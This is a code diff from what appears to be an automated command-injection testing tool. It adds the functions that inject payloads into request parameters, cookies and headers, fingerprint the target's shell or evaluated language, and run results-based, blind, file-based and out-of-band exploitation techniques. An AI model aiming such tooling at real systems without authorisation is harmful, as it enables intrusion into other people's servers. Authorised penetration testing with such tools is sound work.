+def init_cookie_injection_status():
+ settings.COOKIE_INJECTION = None
+
+"""
+Check for previously stored sessions.
+"""
+def check_for_stored_sessions(url, check_parameter, http_request_method):
+ settings.STORED_TECHNIQUES = {}
+ if not menu.options.ignore_session and not menu.options.flush_session:
+ if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION:
+ url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method)
+ # Load stored techniques once so each can resume without re-querying storage.
+ settings.STORED_TECHNIQUES = session_handler.load_stored_techniques(url, check_parameter, http_request_method)
+ return url, check_parameter
+
+"""
+Heuristic request(s)
+
+Carried the way the exploitation requests carry it, pollution included: under '--smart' a negative
+answer here is what leaves the parameter untested, so deciding that on an unpolluted request would
+skip the parameter over an answer '--hpp' was given to change.
+"""
+def heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place):
+ data = None
+ cookie = None
+ tmp_url = url
+ payload, prefix = parameters.prefixes(payload, prefix="")
+ payload, suffix = parameters.suffixes(payload, suffix="")
+ payload = checks.tamper_outside_single_quotes(payload, lambda part: part.replace(settings.SINGLE_WHITESPACE, whitespace))
+ if settings.IS_JSON:
+ payload = _urllib.parse.unquote(payload)
+ payload = checks.perform_payload_modification(payload)
+ # Written back the way the parameter's own value arrived, as every later request is.
+ payload = checks.apply_value_encoding(payload)
+ if settings.VERBOSITY_LEVEL >= 1:
+ settings.print_data_to_stdout(settings.print_payload(payload))
+ if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
+ payload = checks.payload_fixation(payload)
+ # Percent-encode cookie values to safely handle delimiters and special characters.
+ encoded_payload = checks.encode_payload(payload)
+ cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie).encode(settings.DEFAULT_CODEC)
+ else:
+ cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC)
+
+ if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data:
+ # A structured body escapes for itself; a form-encoded one needs the payload encoded for it.
+ if settings.IS_JSON:
+ body_payload = payload
+ elif settings.IS_GRAPHQL:
+ body_payload = checks.graphql_escape_payload(payload)
+ elif settings.IS_XML:
+ body_payload = checks.xml_encode_payload(checks.strip_xml_forbidden(payload))
+ else:
+ body_payload = checks.encode_payload(payload)
+ data = checks.restore_xml_layout(checks.process_injectable_value(body_payload, menu.options.data, pollute=True)).encode(settings.DEFAULT_CODEC)
+ else:
+ if settings.USER_DEFINED_POST_DATA:
+ settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA)
+ data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
+ if settings.INJECT_TAG in url:
+ # Encode query string, preserving delimiters and configured parameter delimiter
+ encoded_payload = checks.encode_payload(payload)
+ tmp_url = checks.process_injectable_value(encoded_payload, url, pollute=True)
+ else:
+ tmp_url = checks.remove_tags(tmp_url)
+ url = checks.remove_tags(url)
+
+ request = _urllib.request.Request(tmp_url, data, method=http_request_method)
+ if cookie:
+ request.add_header(settings.COOKIE, cookie)
+ # The payload is carried by the header itself here - 'headers.do_check' leaves the header alone
+ # while its injection flag is set, so that this is the only value it is given.
+ if check_parameter_in_http_header(check_parameter, place):
+ settings.CUSTOM_HEADER_NAME = check_parameter.title()
+ if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE:
+ # The payload goes where the marker is, so whatever static text the header carries stays with
+ # it - searched for the value as it stood, the marker having just been taken out of it, the
+ # replacement matched nothing and the header went out carrying no payload at all.
+ request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC))
+ else:
+ request.add_header(settings.CUSTOM_HEADER_NAME, payload.encode(settings.DEFAULT_CODEC))
+ headers.do_check(request)
+ response = requests.get_request_response(request)
+ return response, url
+
+"""
+Announce what the heuristic found. One wording for every channel it can come back over, and for
+either sink - which technique answered is the technique's business, not something to commit to
+while still guessing. All the heuristic is entitled to add is what it happened to learn on the way,
+which goes in the parenthesis its caller hands over.
+"""
+def announce_heuristic_finding(detail):
+ info_msg = "Heuristic (basic) test shows that "
+ info_msg += settings.CHECKING_PARAMETER + " might be injectable (" + detail + ")."
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+
+"""
+Heuristic (basic) test for command injection
+"""
+"""
+Whether the parameter's own value is needed to reach the sink, asked while the heuristic still holds
+the payload that reached it.
+
+The value belongs to the target, and what the target does with it is what takes the time: an address
+it pings answers in seconds where one it cannot resolve answers at once, and a scan sends hundreds of
+requests before it is finished. The same question asked twice, once with the value and once with a
+short random one, says whether any of that waiting buys anything.
+
+Asked here rather than once a technique is confirmed, which is where it was asked before: by then the
+heuristics, every boundary and the whole timing model have been paid for at the slow value's price,
+and only what came after could be made cheap.
+
+Nothing is assumed from it. The value is dropped only where the same marker comes back without it,
+the sink having demonstrably run either way - and where the pass that follows confirms nothing at
+all, the value is put back and the pass is made again, so no sink is lost to an optimisation.
+"""
+def probe_skip_testable_value_early(url, http_request_method, check_parameter, payload, whitespace, place):
+ if settings.TESTABLE_VALUE_OPTIMIZED or not settings.TESTABLE_VALUE or settings.VALUE_SKIP_REFUSED:
+ return url
+ marker = settings.TESTABLE_VALUE + settings.INJECT_TAG
+ in_data = bool(menu.options.data) and marker in menu.options.data
+ in_url = marker in url
+ if not in_data and not in_url:
+ return url
+ placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3))
+ original_data, original_url, original_value = menu.options.data, url, settings.TESTABLE_VALUE
+ if in_data:
+ menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG)
+ else:
+ url = url.replace(marker, placeholder + settings.INJECT_TAG)
+ settings.TESTABLE_VALUE = placeholder
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Checking whether the parameter's own value is required to reach the sink, by sending "
+ debug_msg += "the same payload with '" + placeholder + "' in place of '" + original_value + "'."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ answered = False
+ try:
+ response, _ = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place)
+ if type(response) is not bool and response is not None:
+ html_data = checks.process_page_content(response, action="decode")
+ answered = bool(re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data))
+ except Exception:
+ answered = False
+ if not answered:
+ menu.options.data = original_data
+ settings.TESTABLE_VALUE = original_value
+ return original_url
+ settings.TESTABLE_VALUE_OPTIMIZED = True
+ settings.TESTABLE_VALUE_STOOD_IN_FOR = original_value
+ settings.VALUE_SKIPPED_EARLY = (original_value, placeholder, original_url, original_data)
+ # Not recorded in the session here: what the sink answered is not yet what a technique confirmed,
+ # and a stand-in this run goes on to refuse would be left for the next one to replay.
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "The parameter's own value is not required to reach the sink, so it is skipped for faster requests."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ return url
+
+def command_injection_heuristic_basic(url, http_request_method, check_parameter, place):
+ check_parameter = check_parameter.lstrip().rstrip()
+ checks.perform_payload_modification(payload="")
+ basic_payload_generator()
+ if menu.options.interpreter:
+ basic_payloads = settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS
+ else:
+ basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS
+
+ basic_payloads = [x.replace(settings.RANDOM_STRING_GENERATOR, settings.SINGLE_WHITESPACE.strip()) for x in basic_payloads]
+
+ """
+ One shape per shell, and only the shape worth sending.
+
+ The two payloads are the same question asked in each shell's own syntax, so which of them answers
+ is what names the shell. Where the operating system is already known - the banner said so, or
+ '--os' did - the other shape cannot execute, and sending it only doubles the requests.
+ """
+ shaped = list(zip(basic_payloads, ("Unix-like", "Windows")))
+ if settings.IDENTIFIED_TARGET_OS or menu.options.os:
+ wanted = "Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like"
+ shaped = [pair for pair in shaped if pair[1] == wanted] or shaped
+
+ settings.RESULTS_BASED_STATE = True
+ try:
+ for whitespace in settings.WHITESPACES:
+ if not settings.IDENTIFIED_COMMAND_INJECTION:
+ for payload, shell_os in shaped:
+ response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place)
+ if type(response) is not bool and response is not None:
+ html_data = checks.process_page_content(response, action="decode")
+ match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
+ if match:
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ checks.note_printer_that_answered(html_data)
+ # Asked while the payload that answered is still in hand, and before a technique has
+ # spent a single request at the slow value's price.
+ url = probe_skip_testable_value_early(url, http_request_method, check_parameter, payload, whitespace, place)
+ # The token the rest of the code compares against, and then what was really shown.
+ checks.set_target_os(shell_os)
+ # A payload that ran answers what the banner could not, so nothing need be asked.
+ settings.OS_IDENTIFICATION_PENDING = False
+ announce_heuristic_finding("identified command shell type: '" + checks.target_shell_label() + "'")
+ # A shell answering here says nothing about whether a string is also evaluated as
+ # code, so it settles the question only where the code injection sink was not asked
+ # for by name - otherwise every technique carrying it would skip itself, and the run
+ # would report "not injectable" without having sent one of their payloads.
+ if not menu.options.eval_sink:
+ settings.SKIP_CODE_INJECTIONS = True
+ elif not settings.COMMAND_SUGGESTED:
+ settings.COMMAND_SUGGESTED = True
+ """
+ '--eval' names code injection, and naming it is what stops command injection from
+ being tested at all - so a shell answering here would otherwise be found, reported
+ and then left behind, with the run going on to look only for what it was told to.
+
+ The option the user gave still wins by default: what is offered is dropping it,
+ and a run that is not being watched keeps the option it was started with.
+ """
+ message = "The target answers as a command shell, so it is open to command injection as well. "
+ message += "Do you want to test for that instead (i.e. without the '--eval' option)? [y/N] "
+ if common.read_input(message, default="N", check_batch=True) in settings.CHOICE_YES:
+ menu.options.eval_sink = False
+ settings.SKIP_CODE_INJECTIONS = True
+ break
+
+ settings.RESULTS_BASED_STATE = False
+ return url
+
+ except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Heuristic (basic) test over the out-of-band channel.
+
+The results-based test reads the sum back out of the response, so it is blind to exactly the points
+'--oob' exists for. Without this, such a parameter is reported as probably not injectable - and with
+'--smart' it would be skipped outright.
+"""
+def oob_heuristic_basic(url, http_request_method, check_parameter, place):
+ from src.core.techniques.oob import oob_payloads as oob_payloads
+
+ channel = checks.init_oob_channel()
+ if channel is None:
+ return url
+
+ # Both, unless the results-based test already settled which one it is - or the user has said so
+ # with '--os', which no heuristic of ours gets to overrule.
+ target_systems = (settings.OS.UNIX, settings.OS.WINDOWS)
+ if settings.IDENTIFIED_COMMAND_INJECTION or menu.options.os:
+ target_systems = (settings.TARGET_OS,)
+
+ # Said once, because these payloads break the rule the tested ones keep to: they chain several
+ # separators and clients into one request, to spend one request rather than six on a yes/no.
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Chaining all separators and clients into a single heuristic request."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+ attempts = []
+ for target_os in target_systems:
+ payload, probes = oob_payloads.heuristic_payload(channel, target_os)
+ if settings.VERBOSITY_LEVEL != 0:
+ settings.print_data_to_stdout(settings.print_payload(payload))
+ heuristic_request(url, http_request_method, check_parameter, payload, settings.WHITESPACES[0], place)
+ attempts.append((target_os, probes))
+
+ # A name lookup beats an HTTPS round trip almost every time, so the client that answers first is
+ # nearly always the one least worth leading with. Once only a lookup has landed, hold the window
+ # open a little longer for an HTTP client rather than settling on the spot.
+ def _http_first():
+ best = None
+ for target_os, probes in attempts:
+ for token, transport in probes:
+ if not channel.seen(token, protocol=oob_payloads.required_protocol(transport)):
+ continue
+ if oob_payloads.required_protocol(transport) == "http":
+ return (target_os, transport)
+ if best is None:
+ best = (target_os, transport)
+ return best
+
+ channel.poll_now()
+ answered = None
+ deadline = time.time() + settings.OOB_TIMEOUT
+ while time.time() < deadline:
+ answered = _http_first()
+ if answered is not None:
+ if oob_payloads.required_protocol(answered[1]) == "http":
+ break
+ # Only a lookup so far - give an HTTP client a brief grace period to follow it in.
+ deadline = min(deadline, time.time() + settings.OOB_HTTP_GRACE)
+ # Asked for every round: the idle interval would hold the answer back for seconds after it lands.
+ channel.poll_now()
+ time.sleep(settings.OOB_WAIT_POLL_INTERVAL)
+
+ if answered is None:
+ return url
+
+ target_os, transport = answered
+ # The lookup came back, so the payload around it ran - and any HTTP client in that same payload
+ # has already had its chance on a boundary that works. Naming them here keeps the sweep from
+ # asking them again on every boundary it tries.
+ if oob_payloads.required_protocol(transport) == "dns":
+ silent = [candidate for _, probes in attempts for token, candidate in probes
+ if oob_payloads.required_protocol(candidate) == "http" and not channel.seen(token, protocol="http")]
+ settings.OOB_HEURISTIC_HTTP_SILENT = list(dict.fromkeys(silent))
+ # Already identified means the results-based test got there first, so the interaction is not
+ # news - which client the target answered on still is, and the sweep leads with it.
+ already_identified = settings.IDENTIFIED_COMMAND_INJECTION
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ settings.OOB_HEURISTIC_TRANSPORT = transport
+ # A shell reaching out says nothing about whether a string is also evaluated as code, so it
+ # settles the question only where the code injection sink was not asked for by name - the
+ # technique carrying that sink reads this flag, and would otherwise skip itself over an answer
+ # given in the shell's own language, the way the results-based heuristic above already guards.
+ if not menu.options.eval_sink:
+ settings.SKIP_CODE_INJECTIONS = True
+ if already_identified:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "The target answered out-of-band over '" + transport + "'."
+ settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
+ return url
+ # Settled only where the client that answered belongs to one of them: a shared one says the
+ # command ran, not which shell ran it, and the sweep is better off still asking than led by a
+ # guess it would then build every payload on.
+ if not menu.options.os and oob_payloads.transport_identifies_os(transport):
+ settings.TARGET_OS = target_os
+ announce_heuristic_finding("identified command shell type: '" + checks.target_shell_label() + "'")
+ else:
+ announce_heuristic_finding("answered out-of-band over '" + transport + "'")
+ return url
+
+"""
+Heuristic (basic) test for code injection warnings
+"""
+def code_injections_heuristic_basic(url, http_request_method, check_parameter, place):
+ check_parameter = check_parameter.lstrip().rstrip()
+ # What the probe answered with. A complaint from the interpreter names the language without
+ # naming a version, so the language is all there is to report in that case.
+ detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'"
+ settings.EVAL_BASED_STATE = True
+ # A command-only tamper (e.g. 'printfoctal') was still compatible the last time dependencies were
+ # checked, before this probe's own eval syntax made it not - re-checked now, or it would corrupt
+ # these payloads into something no language reads back the way the probe needs.
+ if menu.options.tamper:
+ checks.tamper_scripts(stored_tamper_scripts=True)
+ try:
+ whitespace = settings.SINGLE_WHITESPACE
+ if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE):
+ """
+ A complaint is worth less than a version, so one does not end the search.
+
+ Which boundary reaches the sink is what the sweep is for, and the ones that miss tend to make
+ the interpreter complain - so stopping at the first complaint reports the language and never
+ learns the version a later boundary would have answered with. A version ends it; a complaint
+ is remembered and the rest are tried.
+ """
+ """
+ Where no language was named, each supported one is probed with its own payloads.
+
+ Nothing about the target says which language is evaluating the string, and a probe written for
+ one of them means nothing to another - so asking only the default answered for that language
+ and reported the parameter as not injectable for every other.
+
+ Whichever language answers is left in force, so the techniques that follow speak the one the
+ heuristic found rather than starting the search over.
+ """
+ if not menu.options.eval_sink or menu.options.eval_sink == settings.EVAL_ALL_LANGUAGES:
+ languages = settings.SUPPORTED_EVAL_LANGUAGES
+ # Whichever the target named for itself goes first - the others still follow, since a
+ # header says what runs the page, not what evaluates a string inside it.
+ if settings.IDENTIFIED_EVAL_LANGUAGE in languages:
+ languages = (settings.IDENTIFIED_EVAL_LANGUAGE,) + tuple(
+ _ for _ in languages if _ != settings.IDENTIFIED_EVAL_LANGUAGE)
+ else:
+ languages = (settings.EVAL_GRAMMAR.NAME,)
+ # Which language's own probe answered. The sweep goes on past a complaint to look for a
+ # version, so the grammar left in force at the end is the last language tried rather than
+ # the one that answered, and the switch below would name that one instead.
+ answered_language = None
+ for language in languages:
+ settings.set_eval_grammar(language)
+ if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ for payload in settings.EVAL_PROBE_PAYLOADS:
+ response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place)
+ if type(response) is not bool and response is not None:
+ html_data = checks.process_page_content(response, action="decode")
+ match = re.search(settings.EVAL_PROBE_REGEX, html_data)
+ if match:
+ detail = "identified " + settings.EVAL_GRAMMAR.LABEL + " version: '" + match.group(1) + "'"
+ settings.IDENTIFIED_EVAL_PROBE = True
+ answered_language = language
+ break
+ # A plain shell error (the probe reached a shell, not an interpreter) can still contain
+ # one of these words by coincidence - 'syntax error' reads the same complaint from
+ # 'sh' as it does from Perl. Where the response is one of those, the word is the
+ # shell's, not the language's, so it is not treated as evidence of an eval sink.
+ if not checks.extract_error_message(html_data):
+ baseline = settings.ORIGINAL_PAGE or ""
+ for warning in settings.EVAL_WARNINGS:
+ # A word the page was already carrying before anything was sent to it is the page's
+ # own - prose that happens to name an error reads exactly like one reported, and a
+ # page that explains itself ('..., a syntax error - ...') says it on every response
+ # whatever the probe was. What the probe caused is what is not there to begin with.
+ if warning in html_data and warning not in baseline:
+ settings.IDENTIFIED_WARNINGS = True
+ answered_language = language
+ detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'"
+ break
+ if settings.IDENTIFIED_EVAL_PROBE:
+ break
+
+ # Said once, whichever of the two the sweep came back with.
+ if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE:
+ # Pointed back at the language that answered, so the switch offered below and whatever runs
+ # next both speak the one the heuristic found.
+ if answered_language:
+ settings.set_eval_grammar(answered_language)
+ announce_heuristic_finding(detail)
+ # Code injection is tested only where it was asked for, so what the heuristic saw is
+ # named, the switch that would act on it is named too, and the run carries on testing
+ # for command injection either way.
+ if menu.options.eval_sink:
+ settings.SKIP_COMMAND_INJECTIONS = True
+ elif not settings.EVAL_SUGGESTED:
+ settings.EVAL_SUGGESTED = True
+ # The sweep already found which language answered, so the switch is offered naming it
+ # rather than sending the run back over every language to find it again.
+ language = settings.EVAL_GRAMMAR.NAME
+ message = "Do you want to test it for code injection (i.e. option '--eval=" + language + "')? [Y/n] "
+ if common.read_input(message, default="Y", check_batch=True) in settings.CHOICE_YES:
+ menu.options.eval_sink = language
+ settings.SKIP_COMMAND_INJECTIONS = True
+
+ settings.EVAL_BASED_STATE = False
+ # A command-only tamper dropped above for this probe's own eval syntax belongs back in play now
+ # - '--eval' was declined, or never came up, and whatever runs next is a command once again.
+ if menu.options.tamper:
+ checks.tamper_scripts(stored_tamper_scripts=True)
+ return url
+
+ except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Run one technique via the given exploit() callable, updating its own state flag in settings - the shared skeleton behind the 4 functions below.
+"""
+"""
+Run one attempt of an evaluation-sink technique per language.
+
+Nothing the target says identifies the language evaluating the string, so where '--eval' named none,
+each supported one is tried in turn until one answers. Where it named one, that is the only one
+tried. The grammar is left pointing at whichever language answered, so the exploitation that follows
+speaks the same one the detection did.
+"""
+def _run_over_languages(exploit):
+ if menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES:
+ return exploit() is not False
+ """
+ A language the heuristic already recognised is the only one tried.
+
+ Its probe came back with that language's own version, which is as much as a sweep here could
+ establish - and every language tried and rejected costs a full delay on the time-based technique.
+ """
+ if settings.IDENTIFIED_EVAL_PROBE:
+ return exploit() is not False
+ languages = settings.SUPPORTED_EVAL_LANGUAGES
+ # Whichever the target named for itself goes first - the others still follow, since a header
+ # says what runs the page, not what evaluates a string inside it.
+ if settings.IDENTIFIED_EVAL_LANGUAGE in languages:
+ languages = (settings.IDENTIFIED_EVAL_LANGUAGE,) + tuple(
+ _ for _ in languages if _ != settings.IDENTIFIED_EVAL_LANGUAGE)
+ for language in languages:
+ settings.set_eval_grammar(language)
+ if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ if exploit() is not False:
+ return True
+ return False
+
+# Run one technique, and say it was skipped where it did not run.
+def run_technique(injection_type, technique, state_name, skip_flag_name, tech_letter, exploit, eval_sink=False):
+ setattr(settings, state_name, None)
+ if not getattr(settings, skip_flag_name):
+ if checks.technique_selected(tech_letter, eval_sink):
+ setattr(settings, state_name, _run_over_languages(exploit) if eval_sink else exploit() is not False)
+ state = getattr(settings, state_name)
+ if state == None or getattr(settings, skip_flag_name):
+ checks.skipping_technique(technique, injection_type, state)
+
+"""
+Check if it's exploitable via classic command injection technique.
+"""
+def results_based_command_injection_technique(url, timesec, filename, http_request_method):
+ injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI
+ technique = settings.INJECTION_TECHNIQUE.RESULTS_BASED
+ # Prove the injection by what the response carries back.
+ def exploit():
+ result = rb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
+ if result is not False:
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ settings.SKIP_CODE_INJECTIONS = True
+ return result
+ run_technique(injection_type, technique, "RESULTS_BASED_STATE", "SKIP_COMMAND_INJECTIONS", "r", exploit)
+
+"""
+Check if it's exploitable via dynamic code evaluation technique.
+"""
+def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method):
+ injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE
+ technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE
+ # Prove the code injection by what the response carries back.
+ def exploit():
+ result = eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
+ if result is not False:
+ settings.SKIP_COMMAND_INJECTIONS = True
+ return result
+ run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "r", exploit, eval_sink=True)
+
+"""
+Check if it's exploitable via boolean-based blind command injection technique.
+"""
+def boolean_based_technique(url, timesec, filename, http_request_method):
+ # The branch proves execution either way - what the sink changes is only whether the command the
+ # target branches on is written in the shell's language or in the one it evaluates.
+ eval_sink = bool(menu.options.eval_sink)
+ injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND
+ technique = settings.INJECTION_TECHNIQUE.BOOLEAN_BASED
+ # Prove the injection by what the page says, where the target branches on the command it ran.
+ def exploit():
+ result = bb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
+ if result is not False and not eval_sink:
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ return result
+ run_technique(injection_type, technique, "BOOLEAN_BASED_STATE",
+ "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS", "b", exploit, eval_sink=eval_sink)
+
+"""
+Check if it's exploitable via time-based command injection technique.
+"""
+def timebased_technique(url, timesec, filename, http_request_method, url_time_response):
+ # The delay proves execution either way - what the sink changes is only whether the payload is
+ # written in the shell's language or in the one the target evaluates.
+ eval_sink = bool(menu.options.eval_sink)
+ injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND
+ technique = settings.INJECTION_TECHNIQUE.TIME_BASED
+ # Prove the injection by how long the target takes to answer.
+ def exploit():
+ result = tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique)
+ if result is not False and not eval_sink:
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ return result
+ # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not
+ # by the flag that skips command injection, which the code injection heuristic sets on its way past.
+ skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS"
+ run_technique(injection_type, technique, "TIME_BASED_STATE", skip_flag, "t", exploit, eval_sink=eval_sink)
+
+"""
+Check if it's exploitable via file-based command injection technique.
+"""
+def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response):
+ # The file proves execution either way - what the sink changes is only whether the command that
+ # fills it is reached through a shell or through the string the target evaluates.
+ eval_sink = bool(menu.options.eval_sink)
+ injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND
+ technique = settings.INJECTION_TECHNIQUE.FILE_BASED
+ # Prove the injection by a file the target writes and then serves back.
+ def exploit():
+ if settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED in settings.STORED_TECHNIQUES \
+ and settings.INJECTION_TECHNIQUE.FILE_BASED not in settings.STORED_TECHNIQUES:
+ # Skip the writable-directory prompt when resuming, but still need a real tmp_path.
+ result = tfb_handler.exploitation(url, timesec, filename, checks.default_tmp_path(), http_request_method, url_time_response)
+ else:
+ result = fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique)
+ if result is not False and not eval_sink:
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ return result
+ # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not
+ # by the flag that skips command injection, which the code injection heuristic sets on its way past.
+ skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS"
+ run_technique(injection_type, technique, "FILE_BASED_STATE", skip_flag, "f", exploit, eval_sink=eval_sink)
+
+"""
+Check if it's exploitable via out-of-band technique.
+"""
+def oob_command_injection_technique(url, timesec, filename, http_request_method):
+ # The interaction proves execution either way - what the sink changes is only whether the command
+ # that reaches out is written in the shell's language or in the one the target evaluates.
+ eval_sink = bool(menu.options.eval_sink)
+ injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND
+ technique = settings.INJECTION_TECHNIQUE.OOB
+ # Prove the injection by the target reaching out to somewhere else.
+ def exploit():
+ result = oob_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
+ if result is not False and not eval_sink:
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ return result
+ # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not
+ # by the flag that skips command injection, which the code injection heuristic sets on its way past.
+ skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS"
+ run_technique(injection_type, technique, "OOB_STATE", skip_flag,
+ settings.OOB_TECHNIQUE_LETTER, exploit, eval_sink=eval_sink)
+
+"""
+Check parameter in HTTP header.
+"""
+def check_parameter_in_http_header(check_parameter, place):
+ inject_http_headers = False
+ # Answered from the place the parameter was dispatched from, never from what it is called: a
+ # field named after a header is still a field, and a header is one wherever its value came from.
+ if place in settings.HTTP_HEADER_PLACES:
+ if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE:
+ inject_http_headers = True
+ else:
+ init_http_header_injection_status()
+ return inject_http_headers
+
+"""
+Whether what a parameter does to the page is worth the request it takes to find out.
+
+Where the answer decides something, and where it explains something. '--skip-static' is the first:
+it acts on the answer by leaving the parameter alone. The boolean-based technique is the second,
+and was once left out of this on the grounds that no technique here reads a page by comparing it -
+which is the one thing that technique does, telling its true from its false by how far two pages
+differ. A parameter that changes no page at all has no such difference to give, so the whole
+boundary matrix is spent on it and what gets reported is a target that is not injectable, for a
+reason the run had already measured and said nothing about.
+"""
+def dynamism_worth_asking():
+ return bool(menu.options.skip_static or
+ checks.technique_selected("b", eval_sink=bool(menu.options.eval_sink)))
+
+"""
+Whether changing the parameter changes the response at all.
+
+The baseline both readings are taken against is the target's own and was taken when it was first
+reached, so this costs the one request that puts something else in the parameter's place. Only
+'--skip-static' skips on the answer; everything else is told and carries on.
+"""
+def check_parameter_dynamism(url, http_request_method, check_parameter):
+ if settings.LOAD_SESSION or not settings.TESTABLE_VALUE or not dynamism_worth_asking():
+ return
+
+ marker = settings.TESTABLE_VALUE + settings.INJECT_TAG
+
+ # Build the request, with the value carried wherever the parameter lives.
+ def build(header_name, option_value, value):
+ if settings.USER_DEFINED_POST_DATA:
+ data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
+ else:
+ data = None
+ request = _urllib.request.Request(url, data, method=http_request_method)
+ headers.do_check(request)
+ request.add_header(header_name, option_value.replace(marker, value))
+ return request
+
+ if settings.COOKIE_INJECTION and menu.options.cookie and marker in menu.options.cookie:
+ param_label = "Cookie parameter '" + check_parameter + "'"
+ fetch = lambda v: build(settings.COOKIE, menu.options.cookie, v)
+ elif settings.USER_AGENT_INJECTION and menu.options.agent and marker in menu.options.agent:
+ param_label = "User-Agent HTTP header"
+ fetch = lambda v: build(settings.USER_AGENT, menu.options.agent, v)
+ elif settings.REFERER_INJECTION and menu.options.referer and marker in menu.options.referer:
+ param_label = "Referer HTTP header"
+ fetch = lambda v: build(settings.REFERER, menu.options.referer, v)
+ elif settings.HOST_INJECTION and menu.options.host and marker in menu.options.host:
+ param_label = "Host HTTP header"
+ fetch = lambda v: build(settings.HOST, menu.options.host, v)
+ else:
+ in_data = bool(menu.options.data) and marker in menu.options.data
+ if not in_data and marker not in url:
+ return
+ param_label = ("POST" if in_data else "GET") + " parameter '" + check_parameter + "'"
+ # Fetch the URL with one value in place of the parameter's own.
+ def fetch(v):
+ if in_data:
+ data = menu.options.data.replace(marker, v)
+ request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method)
+ else:
+ request = _urllib.request.Request(url.replace(marker, v), method=http_request_method)
+ headers.do_check(request)
